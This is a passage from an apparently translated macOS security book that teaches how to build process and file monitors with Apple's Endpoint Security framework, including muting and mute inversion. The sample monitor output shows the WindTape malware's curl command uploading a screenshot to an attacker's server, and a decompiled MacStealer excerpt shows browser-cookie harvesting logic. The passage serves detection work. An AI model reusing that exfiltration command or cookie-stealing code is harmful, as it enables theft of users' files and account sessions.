    NSData* parentToken = [NSData dataWithBytes:&process->parent_audit_token
    length:sizeof(audit_token_t)]; ❷

    NSData* responsibleToken = [NSData dataWithBytes:&process->responsible_audit_token
    length:sizeof(audit_token_t)]; ❸

} 

Listing 8-13: 提取父进程和负责进程的令牌

我们提取父进程 PID ❶,对于较新版本的 Endpoint Security,提取父进程审计令牌 ❷ 和负责进程令牌 ❸。然后,这些信息可以用来构建进程层级结构。

脚本路径

回想一下,es_event_exec_t 结构体描述了 ES_EVENT_TYPE_NOTIFY_EXEC 事件。到目前为止,我们主要关注该结构体的第一个字段,即指向 es_process_t 结构体的指针。然而,es_event_exec_t 结构体的其他字段对进程监视器也是有用的,尤其是在启发式检测恶意软件时。

例如,考虑当被执行的进程是 脚本解释器 的情况,脚本解释器是用来运行脚本的程序。当用户执行脚本时,操作系统会在后台确定正确的脚本解释器并调用它来执行脚本。在这种情况下,Endpoint Security 会报告脚本解释器作为执行的进程,并显示其路径,例如 /usr/bin/python3。然而,我们更关心的是 解释器 正在执行 什么。如果我们能够确定间接执行的脚本路径,那么我们就可以扫描它以查找已知的恶意软件,或者使用启发式方法来判断它是否可能是恶意的。

幸运的是,Endpoint Security 2 版本及以上的消息会在 es_event_exec_t 结构体的脚本字段中提供此路径。如果新生成的进程不是脚本解释器,该字段将为空(NULL)。此外,如果脚本是作为解释器的参数执行的(例如,如果用户运行了 python3 <某个脚本路径>),该字段也不会被设置。然而,在这种情况下,脚本会作为进程的第一个参数出现。

列表 8-14 显示了如何通过脚本字段提取脚本的路径。

❶ if(message->version >= 2) {
    es_string_token_t* token = &message->event.exec.script->path;
  ❷ if(NULL != token) {
        NSString* script = [[NSString alloc] initWithBytes:token->data
        length:token->length encoding:NSUTF8StringEncoding];
    }
} 

列表 8-14:提取脚本路径

我们确保只在兼容版本的 Endpoint Security ❶ 上尝试此提取操作,并且脚本字段不为空(NULL)❷。

如果你直接执行一个 Python 脚本,ESPlayground 中的进程监控代码会报告 Python 为生成的进程,并给出脚本的路径:

# **ESPlayground.app/Contents/MacOS/ESPlayground -monitor**

ES Playground
Executing (process) 'monitor' logic

event: ES_EVENT_TYPE_NOTIFY_EXEC
(new) process
    pid: 10267
    path: /usr/bin/python3
    script: /Users/User/Malware/Realst/**installer.py**"
    ... 

这个例子捕获了 Realst 恶意软件,它包含一个名为 installer.py 的脚本。现在我们可以检查这个脚本,它揭示了旨在窃取数据并让攻击者访问用户加密货币钱包的恶意代码。

二进制架构

Endpoint Security 在 es_event_exec_t 结构体中提供的另一个信息是进程的架构。在第二章中,我讨论了如何以编程方式确定任何正在运行的进程的架构,但方便的是,Endpoint Security 子系统也可以做到这一点。

要访问生成的进程的二进制架构,你可以提取 image_cputype 字段(如果你对 CPU 子类型感兴趣,也可以提取 image_cpusubtype),如列表 8-15 所示。此信息仅在 Endpoint Security 版本 6 及以上可用,因此代码首先会检查兼容的版本。

if(message->version >= 6) {
    cpu_type_t cpuType = message->event.exec.image_cputype;
} 

列表 8-15:提取进程的架构

这段代码应该返回像 0x100000C 或 0x1000007 这样的值。通过查看 Apple 的 mach/machine.h 头文件,可以看到这些值分别对应 CPU_TYPE_ARM64(Apple Silicon)和 CPU_TYPE_X86_64(Intel)。

代码签名

在 第三章 中,你已经看到如何利用那些相当古老的 Sec* API 手动提取代码签名信息。为了简化这个提取过程,Endpoint Security 会在每个消息中报告触发事件的进程的代码签名信息。有些事件还可能包含其他进程的代码签名信息。例如,ES_EVENT_TYPE_NOTIFY_EXEC 事件包含新生成进程的代码签名信息。

你可以在进程的 es_process_t 结构体中的以下字段找到代码签名信息:

uint32_t codesigning_flags 包含进程的代码签名标志

bool is_platform_binary 标识平台二进制文件

uint8_t cdhash[20] 存储签名的代码目录哈希

es_string_token_t signing_id 存储签名 ID

es_string_token_t team_id 存储团队 ID

让我们逐个查看这些字段,从 codesigning_flags 开始,它的值可以在 Apple 的 cs_blobs.h 头文件中找到。列表 8-16 从 es_process_t 结构体中提取代码签名标志,并检查它们是否包含几个常见的代码签名值。由于 codesigning_flags 的值是一个位字段,代码使用逻辑与(&)运算符来检查特定的代码签名值。

// Process is an es_process_t*
#import <kernel/kern/cs_blobs.h>

uint32_t csFlags = process->codesigning_flags;

if(CS_VALID & csFlags) {
    // Add code here to handle dynamically valid process signatures.
}
if(CS_SIGNED & csFlags) {
    // Add code here to handle process signatures.
}
if(CS_ADHOC & csFlags) {
    // Add code here to handle ad hoc process signatures.
}
... 

列表 8-16:提取进程的代码签名标志

访问并提取代码签名标志可能允许你执行类似调查生成进程的操作,这些进程的签名是临时的,意味着它们是不受信任的。广泛传播的 3CX 供应链攻击使用了一个二阶段的有效负载,该负载使用临时签名进行了签名。^(3)

在 es_process_t 结构体中,你还会发现 is_platform_binary 字段,这是一个布尔标志,对于仅用 Apple 证书签名并且是 macOS 一部分的二进制文件,该字段会被设置为 true。需要注意的是,对于那些没有预装在 macOS 中的 Apple 应用程序,例如 Xcode,这个字段会被设置为 false。还需要注意的是,CS_PLATFORM_BINARY 标志似乎不会出现在平台二进制文件的 codesigning_flags 字段中,因此应查看 is_platform_binary 字段的值来获取这一信息。

警告

如果你禁用了 AMFI,Endpoint Security 可能会将所有进程,包括第三方和潜在恶意的进程,都标记为平台二进制文件。因此,如果你在禁用 AMFI 的机器上进行测试,基于 is_platform_binary 值做出的任何决策很可能是不正确的。

我在本章之前提到过,你可以安全地忽略平台二进制文件,因为它们是操作系统的一部分。然而,现实情况并非如此简单。你可能需要考虑 living off the land binaries (LOLBins),这些是攻击者可以利用的平台二进制文件,用于代表他们执行恶意操作。一个例子是 Python,正如我们刚刚看到的 Realst 恶意软件,它可以执行恶意脚本。其他 LOLBins 可能更为隐蔽。例如,恶意软件可能会使用内置的 whois 工具,在主机安全工具天真地允许所有来自平台二进制文件的流量时,偷偷地泄露网络流量。^(4)

给定一个指向 es_process_t 结构体的指针,你可以轻松地提取 is_platform_binary 字段。在列表 8-17 中,我们将其转换为对象,以便例如可以将其存储在字典中。

// Process is an es_process_t*

NSNumber* isPlatformBinary = [NSNumber numberWithBool:process->is_platform_binary]; 

列表 8-17:提取进程的平台二进制状态

你的代码可能不会使用 cdhash 字段,但列表 8-18 展示了如何提取并利用 Apple 的 cs_blobs.h 头文件中的 CS_CDHASH_LEN 常量将其转换为对象。

// Process is an es_process_t*

NSData* cdHash = [NSData dataWithBytes:(const void *)process->cdhash
length:sizeof(uint8_t)*CS_CDHASH_LEN]; 

列表 8-18:提取进程的代码签名哈希

在 es_process_t 结构体中,接下来是签名和团队标识符,它们作为字符串令牌存储。如第三章中所讨论的,这些信息可以告诉你是谁签署了该项内容以及他们所属的团队,这有助于减少误报或检测到其他相关的恶意软件。由于这些值都是 es_string_token_t,你可能会再次希望将它们存储为更易管理的对象(列表 8-19)。

// Process is an es_process_t*

NSString* signingID = [[NSString alloc] initWithBytes:process->signing_id.data
length:process->signing_id.length encoding:NSUTF8StringEncoding];

NSString* teamID = [[NSString alloc] initWithBytes:process->team_id.data
length:process->team_id.length encoding:NSUTF8StringEncoding]; 

列表 8-19:提取进程的签名和团队 ID

在将此代码签名提取代码添加到 ESPlayground 中的进程监控逻辑后,让我们执行前述的第二阶段有效载荷 UpdateAgent,这是 3CX 供应链攻击中使用的。很明显,该有效载荷使用了临时证书(CS_ADHOC)进行签名,这通常是一个警告信号:

# **ESPlayground.app/Contents/MacOS/ESPlayground -monitor**

ES Playground
Executing (process) 'monitor' logic

event: ES_EVENT_TYPE_NOTIFY_EXEC
(new) process
  pid: 10815
  path: /Users/User/Malware/3CX/UpdateAgent
  ...
  code signing flags: 0x22000007
  code signing flag 'CS_VALID' is set
  code signing flag 'CS_SIGNED' is set
  code signing flag 'CS_ADHOC' is set 

通过 Endpoint Security 提供的这些代码签名信息,我们接近完成进程监控逻辑的实现。

参数

让我们从消息特定内容开始,首先是 ES_EVENT_TYPE_NOTIFY_EXEC 消息中的进程参数。在第一章中,我讨论了进程参数在检测恶意代码中的重要性,并通过编程提取了正在运行的进程的参数。如果你订阅了类型为 ES_EVENT_TYPE_NOTIFY_EXEC 的 Endpoint Security 事件,你会看到 Endpoint Security 已经为你完成了大部分繁重的工作。

这些事件是 es_event_exec_t 结构体,你可以将其传递给两个 Endpoint Security 辅助 API,es_exec_arg_count 和 es_exec_arg,以提取触发 Endpoint Security 事件的参数(列表 8-20)。

NSMutableArray* arguments = [NSMutableArray array];

const es_event_exec_t* exec = &message->event.exec;

❶ for(uint32_t i = 0; i < es_exec_arg_count(exec); i++) {
  ❷ es_string_token_t token = es_exec_arg(exec, i);
  ❸ NSString* argument = [[NSString alloc] initWithBytes:token.data
    length:token.length encoding:NSUTF8StringEncoding];

  ❹ [arguments addObject:argument];
} 

列表 8-20:提取进程的参数

在初始化一个数组来存储参数后,代码调用 es_exec_arg_count 来确定参数的数量❶。我们在 for 循环的初始化中进行此检查,以跟踪我们调用 es_exec_arg 函数的次数。然后,我们使用当前索引调用该函数,以获取该索引位置的参数❷。由于该参数存储在 es_string_token_t 结构中,代码将其转换为字符串对象❸,并将其添加到数组中❹。

当我们将这段代码添加到 ESPlayground 项目时,我们现在可以观察到进程参数,例如,当 WindTape 恶意软件执行 curl 命令将录制的屏幕截图传输到攻击者的指挥与控制服务器时:

# **ESPlayground.app/Contents/MacOS/ESPlayground -monitor**

ES Playground
Executing (process) 'monitor' logic

event: ES_EVENT_TYPE_NOTIFY_EXEC
(new) process
 pid: 18802
 path: /usr/bin/curl
 ...
 arguments : (
  "/usr/bin/curl"
  "http://string2me.com/xnrftGrNZlVYWrkrqSoGzvKgUGpN/zgrcJOQKgrpkMLZcu.php",
  "-F",
  "qwe=@/Users/User/Library/lsd.app/Contents/Resources/14-06 06:28:07.jpg",
  "-F",
  "rest=BBA441FE-7BBB-43C6-9178-851218CFD268",
  "-F",
  "fsbd=Users-Mac.local-User"
) 

你可以使用类似的函数 es_exec_env_count 和 es_exec_env 从 es_event_exec_t 结构中提取进程的环境变量。

退出状态

当进程退出时,我们将收到来自 Endpoint Security 的消息,因为我们已订阅了 ES_EVENT_TYPE_NOTIFY_EXIT 事件。知道进程何时退出对于以下目的非常有用:

判断进程是否成功或失败 进程的退出代码能提供有关进程是否成功执行的信息。例如,如果该进程是恶意安装程序,这些信息可以帮助我们判断其影响。

执行任何必要的清理 在许多情况下,安全工具会跟踪进程的生命周期活动。例如,勒索软件检测器可以监控每个新进程,以检测那些快速创建加密文件的进程。当进程退出时,检测器可以执行必要的清理工作,例如释放已创建文件的进程列表,并从缓存中移除该进程。

ES_EVENT_TYPE_NOTIFY_EXIT 事件的事件结构类型是 es_event_exit_t。通过查看 ESMessage.h 头文件,我们可以看到它包含一个名为 stat 的单一(非保留)字段,表示进程的退出状态:

typedef struct {
    int stat;
    uint8_t reserved[64];
} es_event_exit_t; 

了解这一点后,我们提取进程的退出代码,如清单 8-21 所示。

❶ case ES_EVENT_TYPE_NOTIFY_EXIT: {
  ❷ int status = message->event.exit.stat;
    ...
} 

清单 8-21:提取退出代码

因为进程监控逻辑也注册了进程执行事件(ES_EVENT_TYPE_NOTIFY_EXEC),所以代码首先确保我们正在处理的是进程退出事件(ES_EVENT_TYPE_NOTIFY_EXIT)❶。如果是,它会提取退出代码❷。

停止客户端

在某些情况下,你可能希望停止你的 Endpoint Security 客户端。只需通过 es_unsubscribe_all 函数取消订阅事件,然后通过 es_delete_client 删除客户端。正如清单 8-22 所示,这两个函数都以我们之前使用 es_new_client 函数创建的客户端作为参数。

es_client_t* client = // Previously created via es_new_client
...
es_unsubscribe_all(client);
es_delete_client(client); 

清单 8-22:停止 Endpoint Security 客户端

查看 ESClient.h 头文件,了解更多有关函数的细节。例如,代码应该仅在创建客户端的相同线程中调用 es_delete_client。

这部分总结了如何创建一个能够跟踪进程执行和退出的进程监视器,并从每个事件中提取信息,这些信息可以用来输入到各种基于启发式的规则中。当然,你也可以注册许多其他的终端安全事件。接下来,我们来探讨文件事件,它们为文件监视器提供了基础。

文件监控

文件监视器是检测和理解恶意代码的强大工具。例如,臭名昭著的勒索软件团伙如 Lockbit 已经开始瞄准 macOS,^(5) 所以你可能想编写能够识别勒索软件的软件。在我 2016 年的研究论文《朝向通用勒索软件检测》里,我强调了一种简单而有效的方法来实现这一目标。^(6) 简而言之,如果我们能监控由不信任的进程迅速创建的加密文件,我们应该能够检测并阻止勒索软件。虽然任何基于启发式的方法都有其局限性,但我的方法即使面对新的勒索软件样本也证明了其有效性。它甚至检测到了 Lockbit 在 2023 年进军 macOS 领域的情况。

这种通用勒索软件检测的核心能力是监控文件的创建。使用终端安全性,可以轻松创建一个文件监视器,来检测文件创建和其他文件 I/O 事件。^(7) 你可以在 Objective-See 的 GitHub 仓库中的 FileMonitor 项目找到一个功能齐全的文件监视器源代码,地址是 https://github.com/objective-see/FileMonitor

因为我已经讨论过如何创建终端安全客户端并注册感兴趣的事件,所以我不会再次讨论这些主题。相反,我将专注于监控文件事件的具体细节。在 ESTypes.h 头文件中,我们可以找到许多覆盖文件 I/O 的事件。最有用的通知事件之一包括:

ES_EVENT_TYPE_NOTIFY_CREATE 当新文件创建时传递

ES_EVENT_TYPE_NOTIFY_OPEN 当文件打开时传递

ES_EVENT_TYPE_NOTIFY_WRITE 当文件被写入时传递

ES_EVENT_TYPE_NOTIFY_CLOSE 当文件关闭时传递

ES_EVENT_TYPE_NOTIFY_RENAME 当文件重命名时传递

ES_EVENT_TYPE_NOTIFY_UNLINK 当文件被删除时传递

让我们注册与文件创建、打开、关闭和删除相关的事件(列表 8-23)。

es_event_type_t events[] = {ES_EVENT_TYPE_NOTIFY_CREATE, ES_EVENT_TYPE_NOTIFY_OPEN,
ES_EVENT_TYPE_NOTIFY_CLOSE, ES_EVENT_TYPE_NOTIFY_UNLINK}; 

列表 8-23: 关注的文件 I/O 事件

在使用 es_new_client 创建一个新的 Endpoint Security 客户端后,我们可以使用新的感兴趣事件列表调用 es_subscribe 函数来进行订阅。此时,子系统应开始将文件 I/O 事件传递给我们,这些事件封装在 es_message_t 结构中。回想一下,es_message_t 结构包含有关事件的元信息,例如事件类型和触发该事件的进程。文件监控器可以使用这些信息将传递的文件事件与负责的进程映射起来。

除了报告事件类型和负责的进程外,文件监控器还应捕获文件路径(在文件创建事件中,这将指向创建的文件)。提取路径的步骤取决于具体的文件 I/O 事件,因此我们将详细查看每一种情况,从文件创建事件开始。

我们已经订阅了 ES_EVENT_TYPE_NOTIFY_CREATE,因此每当文件被创建时,Endpoint Security 会将消息传递给我们。该事件的数据存储在 es_event_create_t 类型的结构中:

typedef struct {
  ❶ es_destination_type_t destination_type;
    union {
      ❷ es_file_t* _Nonnull existing_file;
            struct {
                es_file_t* _Nonnull dir;
                es_string_token_t filename;
                mode_t mode;
            } new_path;
        } destination;
        ...
    };
} es_event_create_t; 

尽管这个结构乍一看似乎比较复杂,但在大多数情况下,处理起来相当简单。destination_type 成员应该设置为两种枚举值之一 ❶。Apple 在 ESMessage.h 头文件中解释了这两者之间的区别:

通常,ES_EVENT_TYPE_NOTIFY_CREATE 事件会在对象创建后触发,此时 destination_type 将是 ES_DESTINATION_TYPE_EXISTING_FILE。例外情况是,当 ES 客户端对 ES_EVENT_TYPE_AUTH_CREATE 事件作出响应并返回 ES_AUTH_RESULT_DENY 时,会触发通知。

由于一个简单的文件监控器不会注册 ES_EVENT_TYPE_AUTH_* 类型的事件,因此我们可以专注于前者的情况。

我们将在 es_event_create_t 结构的 destination 联合体中的 existing_file 成员中找到刚创建的文件路径 ❷。由于 existing_file 存储为 es_file_t 类型,提取新创建文件的路径非常简单,如示例 8-24 所示。

// Event type: ES_EVENT_TYPE_NOTIFY_CREATE

if(ES_DESTINATION_TYPE_EXISTING_FILE == message->event.create.destination_type) {
    es_string_token_t* token = &message->event.create.destination.existing_file->path;

    NSString* path = [[NSString alloc] initWithBytes:token->data length:token->length encoding:
    NSUTF8StringEncoding];

    printf("Created path -> %@\n", path.UTF8String);
} 

示例 8-24:提取新创建的文件路径

因为我们也注册了 ES_EVENT_TYPE_NOTIFY_OPEN 事件,所以每当文件被打开时,Endpoint Security 会传递一个包含 es_event_open_t 事件结构的消息。该结构包含一个指向成员命名为 file 的 es_file_t 指针,指向包含已打开文件路径的文件。我们在示例 8-25 中提取了该信息。

if(ES_EVENT_TYPE_NOTIFY_OPEN == message->event_type) {
    es_string_token_t* token = &message->event.open.file->path;

    NSString* path = [[NSString alloc] initWithBytes:token->data length:token->length
    encoding:NSUTF8StringEncoding];

    printf("Opened file -> %s\n", path.UTF8String);
} 

示例 8-25:提取已打开的文件路径

ES_EVENT_TYPE_NOTIFY_CLOSE 和 ES_EVENT_TYPE_NOTIFY_UNLINK 的逻辑类似,因为这两个事件结构都包含一个指向文件路径的 es_file_t*。

我将通过讨论一个同时包含源路径和目标路径的文件事件来结束这一部分。例如,当一个文件被重命名时,Endpoint Security 会传递一个类型为 ES_EVENT_TYPE_NOTIFY_RENAME 的消息。在这种情况下,es_event_rename_t 结构包含一个指向源文件(恰当地命名为 source)的 es_file_t 结构指针,以及一个指向目标文件(命名为 existing_file)的指针。我们可以通过 message->event.rename.source->path 来访问原始文件的路径。

获取重命名文件的目标路径略有一些复杂,因为我们首先必须检查 es_event_rename_t 结构的 destination_type 字段。这个字段是一个枚举,包含两个值:ES_DESTINATION_TYPE_EXISTING_FILE 和 ES_DESTINATION_TYPE_NEW_PATH。对于现有文件值,我们可以通过 rename.destination.existing_file->path 直接访问目标文件路径(假设我们有一个名为 rename 的 es_event_rename_t 结构)。然而,对于目标值,我们必须将目标目录与目标文件名连接起来;我们将在 rename.destination.new_path.dir->path 中找到目录,在 rename.destination.new_path.filename 中找到文件名。

结论

本章介绍了 Endpoint Security,这是 macOS 上编写安全工具的事实标准框架。我们通过订阅进程和文件事件的通知构建了基础的监控和检测工具。在下一章中,我将继续讨论 Endpoint Security,但将重点介绍更高级的话题,如静音处理,以及 ES_EVENT_TYPE_AUTH_*事件,这些事件提供了主动检测和阻止系统上恶意活动的机制。在第三部分,我将继续讨论,并详细介绍基于 Endpoint Security 构建的功能全面的工具的创建。

备注

  1. 1。 “Endpoint Security”,Apple 开发者文档,https://developer.apple.com/documentation/endpointsecurity

  2. 2。你可以在其手册页或在《Blue Teaming on macOS with eslogger》一文中了解更多关于 eslogger 的内容,CyberReason,2022 年 10 月 3 日,https://www.cybereason.com/blog/blue-teaming-on-macos-with-eslogger

  3. 3。你可以在 Patrick Wardle 的《Ironing Out (the macOS) Details of a Smooth Operator (Part II)》一文中了解更多关于此恶意软件的信息,Objective-See,2023 年 4 月 1 日,https://objective-see.org/blog/blog_0x74.html

  4. 4。有关 macOS LOLBins 的更多信息,请参阅 GitHub 上的 Living Off the Orchard: macOS Binaries (LOOBins)库:https://github.com/infosecB/LOOBins

  5. 5.  Patrick Wardle,“LockBit 勒索软件(有点)袭击 macOS,”Objective-See,2023 年 4 月 16 日,https://objective-see.org/blog/blog_0x75.html

  6. 6.  Patrick Wardle,“面向通用勒索软件检测,”Objective-See,2016 年 4 月 20 日,https://objective-see.org/blog/blog_0x0F.html

  7. 7.  要了解更多关于创建完整文件监视器的信息,请参阅 Patrick Wardle,“使用 Apple 的 Endpoint Security 框架编写文件监视器,”Objective-See,2019 年 9 月 17 日,https://objective-see.org/blog/blog_0x48.html。另请参见第十一章,其中讨论了 BlockBlock 工具。

第九章:9 静音与授权事件

在上一章中,我介绍了 Apple 的 Endpoint Security 及其通知事件。在本章中,我将深入探讨更高级的主题,例如静音、静音反转和授权事件。

静音 指示 Endpoint Security 阻止某些事件的传递,例如那些由嘈杂的系统进程生成的事件。相反,静音反转 使我们能够创建专注的工具,例如仅订阅来自特定进程的事件或仅订阅与少数几个目录访问相关的事件。最后,Endpoint Security 的授权功能提供了一种机制,可以完全防止不希望发生的操作。

本章中展示的大多数代码片段都可以在 第八章 中介绍的 ESPlayground 项目中找到。对于这里涵盖的每个主题,我将指出该项目中相关代码所在的部分,以及如何通过命令行参数执行它。

静音

所有事件监控实现都面临着大量事件涌入的风险。例如,文件 I/O 事件在正常的系统活动中不断发生,文件监控程序可能会生成大量数据,导致很难找出与恶意进程相关的事件。一种解决方案是静音不相关的进程或路径。例如,您可能希望忽略涉及临时目录的文件 I/O 事件,或来自某些嘈杂的合法操作系统进程(如 Spotlight 索引服务)的事件,因为这些事件几乎不断发生,并且很少对恶意软件检测有用。

幸运的是,Endpoint Security 提供了一个灵活且强大的静音机制。它的 es_mute_path 函数将抑制来自指定进程或与指定路径匹配的事件。该函数有三个参数——一个客户端;一个指向进程、目录或文件的路径;以及一个类型:

es_mute_path(es_client_t* _Nonnull client, const char* _Nonnull path,
es_mute_path_type_t type); 

静音路径类型可以是 ESTypes.h 中 es_mute_path_type_t 枚举类型中的四个值之一:

typedef enum {
    ES_MUTE_PATH_TYPE_PREFIX,
    ES_MUTE_PATH_TYPE_LITERAL,
    ES_MUTE_PATH_TYPE_TARGET_PREFIX,
    ES_MUTE_PATH_TYPE_TARGET_LITERAL
} es_mute_path_type_t; 

以 PREFIX 结尾的类型告诉 Endpoint Security 提供的路径是一个较长路径的前缀。例如,您可以使用 ES_MUTE_PATH_TYPE_TARGET_PREFIX 选项来静音来自某个目录的所有文件 I/O 事件。另一方面,如果静音路径类型以 LITERAL 结尾,则路径必须完全匹配,才能静音事件。

当你想要静音负责触发 Endpoint Security 事件的进程路径时,请使用枚举中的前两个值,ES_MUTE_PATH_TYPE_PREFIX 和 ES_MUTE_PATH_TYPE_LITERAL。例如,清单 9-1 显示了来自静音功能的代码片段(位于 ESPlayground 项目的 mute.m 文件中),该代码指示 Endpoint Security 静音所有来源于 mds_stores 的事件,mds_stores 是一个非常嘈杂的 Spotlight 守护进程,负责管理 macOS 的元数据索引。

❶ #define MDS_STORE "/System/Library/Frameworks/CoreServices.framework/Versions/
A/Frameworks/Metadata.framework/Versions/A/Support/mds_stores"

❷ es_mute_path(client, MDS_STORE, ES_MUTE_PATH_TYPE_LITERAL); 

示例 9-1:静音来自 Spotlight 服务的事件

在定义了mds_store二进制文件的路径❶之后,我们调用es_mute_path API❷,传递给它一个端点客户端(之前通过调用es_new_client创建的),mds_stores二进制文件的路径,以及ES_MUTE_PATH_TYPE_LITERAL枚举值。

如果你希望(或同时)将事件的目标静音(例如,在文件监控中,静音被创建或删除的文件路径),可以使用 ES_MUTE_PATH_TYPE_TARGET_PREFIXES_MUTE_PATH_TYPE_TARGET_LITERAL。例如,如果我们希望文件监控静音所有涉及到与监控进程运行的用户上下文关联的临时目录的文件事件,我们可以在示例 9-2 中使用以下代码。

❶ char tmpDirectory[PATH_MAX] = {0};
realpath([NSTemporaryDirectory() UTF8String], tmpDirectory);

❷ es_mute_path(client, tmpDirectory, ES_MUTE_PATH_TYPE_TARGET_PREFIX); 

示例 9-2:静音当前用户的临时目录中的所有事件

我们通过NSTemporaryDirectory函数获取临时目录,然后使用realpath函数❶解析该路径中的任何符号链接(例如,将/var解析为/private/var)。接下来,我们静音所有目标路径位于该目录内的文件 I/O 事件❷。

让我们从终端以根权限编译并运行ESPlayground项目。当我们通过 Spotlight 启动计算器应用程序时,它应该会打印出各种 Endpoint Security 事件,例如文件打开和关闭事件:

# **ESPlayground.app/Contents/MacOS/ESPlayground -mute**

ES Playground
Executing 'mute' logic

**muted process:** /System/Library/Frameworks/
CoreServices.framework/Versions/A/Frameworks/Metadata.framework/Versions/A/Support/mds_stores

**muted directory:** /private/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T

event: ES_EVENT_TYPE_NOTIFY_OPEN
process: /System/Library/CoreServices/Spotlight.app/Contents/MacOS/Spotlight
file path: /System/Applications/Calculator.app/Contents/MacOS/Calculator

event: ES_EVENT_TYPE_NOTIFY_CLOSE
process: /System/Library/CoreServices/Spotlight.app/Contents/MacOS/Spotlight
file path: /System/Applications/Calculator.app/Contents/MacOS/Calculator

event: ES_EVENT_TYPE_NOTIFY_OPEN
process: /System/Applications/Calculator.app/Contents/MacOS/Calculator
file path: / 

但是由于我们指定了-mute标志,我们不会接收到任何来自mds_stores守护进程或来自根用户临时目录中的事件。我们可以通过同时运行一个没有静音实现的文件监控来确认这一点。请注意,这次我们收到了这样的事件:

# **FileMonitor.app/Contents/MacOS/FileMonitor -pretty**
{
  "event" : "ES_EVENT_TYPE_NOTIFY_OPEN",
  "file" : {
    "destination" : "/private/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T",
    "process" : {
      "pid" : 540,
      "name" : "mds_stores",
      "path" : "/System/Library/Frameworks/CoreServices.framework/
      Versions/A/Frameworks/Metadata.framework/Versions/A/Support/mds_stores"
    }
  }
  ...
} 

Endpoint Security 还有一些其他与静音相关的 API 值得一提。es_mute_process函数提供了另一种静音特定进程事件的方法:

es_return_t
es_mute_process(es_client_t* _Nonnull client, const audit_token_t* _Nonnull audit_token); 

如定义所示,该函数期望传入一个客户端和需要静音的进程的审计令牌。因为它接受的是审计令牌而不是路径(像es_mute_path函数那样),所以你可以静音一个正在运行的进程的特定实例。例如,你很可能希望静音来自你自己 Endpoint Security 工具的事件。使用在第一章中介绍的getAuditToken函数,示例 9-3 实现了这样的静音。

NSData* auditToken = getAuditToken(getpid());

es_mute_process(client, auditToken.bytes); 

示例 9-3:一个 ES 客户端自我静音

除了完全静音一个进程,你还可以通过es_mute_process_events API 只静音其部分事件:

es_return_t es_mute_process_events(es_client_t* _Nonnull client, const audit_token_t*
_Nonnull audit_token, const es_event_type_t* _Nonnull events, size_t event_count); 

在传递一个客户端和你打算静音的进程的审计令牌之后,应该传递一个包含需要静音事件的事件数组,以及该数组的大小。

对于每个静音 API,你会找到一个对应的取消静音函数,例如 es_unmute_path 和 es_unmute_process。此外,Endpoint Security 提供了多个全局取消静音函数。例如,es_unmute_all_paths 取消所有路径的静音。你可以在 Apple 的 Endpoint Security 开发文档中找到关于这些函数的更多细节。^(1) ### 静音反转

静音反转,这是 macOS 13 中向 Endpoint Security 添加的功能,反转了静音的逻辑,包括触发事件的进程和事件本身。这使得你可以,例如,订阅非常特定的一组进程、目录或文件的事件。你会发现它对于以下任务非常有用:

  • 检测未经授权访问用户目录的行为,可能是勒索软件试图加密用户文件,或窃取者试图访问身份验证令牌或 cookies^(2)

  • 实施防篡改机制来保护你的安全工具^(3)

  • 捕获由恶意软件样本在分析或分析过程中触发的事件

例如,考虑 MacStealer,这是一种恶意软件样本,专门针对用户 cookies。^(4) 如果我们反编译它的已编译 Python 代码,我们可以看到它包含一个常见浏览器的列表,例如 Chrome 和 Brave,并且有提取这些浏览器 cookies 的逻辑:

class Browsers:
def __init__(self, decrypter: object) -> object:
    ...
    self.cookies_path = []
    self.extension_path = []
    ...
    self.cookies = []
    self.decryption_keys = decrypter
    self.appdata = '/Users/*/Library/Application Support'
    self.browsers = {...
        'google-chrome':self.appdata + '/Google/Chrome/',
        ...
        'brave':self.appdata + '/BraveSoftware/Brave-Browser/',
        ...
    }
    ...
def browser_db(self, data, content_type):
    ...
    else:
        if content_type == 'cookies':
           sql = 'select name,encrypted_value,host_key,path,is_secure,..., from cookies'
           keys = ['name', 'encrypted_value', 'host_key', 'path',..., 'expires_utc']
    ...
    if __name__ == '__main__':
        decrypted = {}
        browsers = Browsers()
        paths = browsers.browser_data() 

该代码将收集到的 cookies 外泄,允许恶意软件作者访问用户已登录的帐户。通过利用静音反转,我们可以订阅覆盖浏览器 cookies 所在位置的文件事件。任何试图访问浏览器 cookies 的进程都会触发这些事件,包括 MacStealer,从而提供了一种检测并阻止其未经授权行为的机制。

开始静音反转

要进行静音反转,调用 es_invert_muting 函数,该函数需要一个 Endpoint Security 客户端以及静音反转类型:

es_return_t es_invert_muting(es_client_t* _Nonnull client, es_mute_inversion_type_t mute_type);

你可以在 ESTypes.h 头文件中找到静音反转类型:

typedef enum {
    ES_MUTE_INVERSION_TYPE_PROCESS,
    ES_MUTE_INVERSION_TYPE_PATH,
    ES_MUTE_INVERSION_TYPE_TARGET_PATH,
    ES_MUTE_INVERSION_TYPE_LAST
} es_mute_inversion_type_t; 

前两种类型允许你进行进程的静音反转。第一种类型应在你想通过其审计令牌进行进程的静音反转时使用,例如,通过 es_mute_process API。另一方面,第二种类型,ES_MUTE_INVERSION_TYPE_PATH,提供了通过路径识别要静音反转的进程的方式。最后,当你想要静音反转与目标路径相关的事件(例如目录)时,应使用 ES_MUTE_INVERSION_TYPE_TARGET_PATH。

静音反转在指定的静音反转类型上全局应用;也就是说,如果您调用了带有 ES_MUTE_INVERSION_TYPE_PATH 类型的 es_invert_muting,那么所有被静音的进程路径将被取消静音。因此,通常会建议为静音反转创建一个新的 Endpoint Security 客户端。(虽然系统对客户端数量有限制,但您的程序可以创建至少几十个客户端,而不会导致 ES_NEW_CLIENT_RESULT_ERR_TOO_MANY_CLIENTS 错误。)还需要注意的是,由于静音反转仅会发生在指定的静音反转类型上,因此您可以混合使用静音和静音反转。例如,您可以静音进程,同时反转事件中找到的路径的静音。这在构建一个利用静音反转的目录监控器时非常有用,但您可能希望忽略(静音)来自受信任系统进程的事件。

静音反转还会影响默认静音集,即一些系统关键平台二进制文件的路径,这些路径默认会被静音。您可以调用 es_muted_paths_events 函数来检索所有静音路径的列表,包括默认路径。默认静音集的目的是保护客户端免受死锁和超时恐慌,因此您可能不希望为其路径生成事件。为了避免这样做,请考虑在任何进程路径静音反转之前调用 es_unmute_all_paths,或者在任何目标路径静音反转之前调用 es_unmute_all_target_paths。

现在,您已经启用了反向静音(例如,通过 es_invert_muting API),您可以调用之前提到的任何对应的静音 API,其静音逻辑现在将被反转。下一个部分清楚地说明了这一点,其中利用静音反转来监控单个目录中的文件访问。

监控目录访问

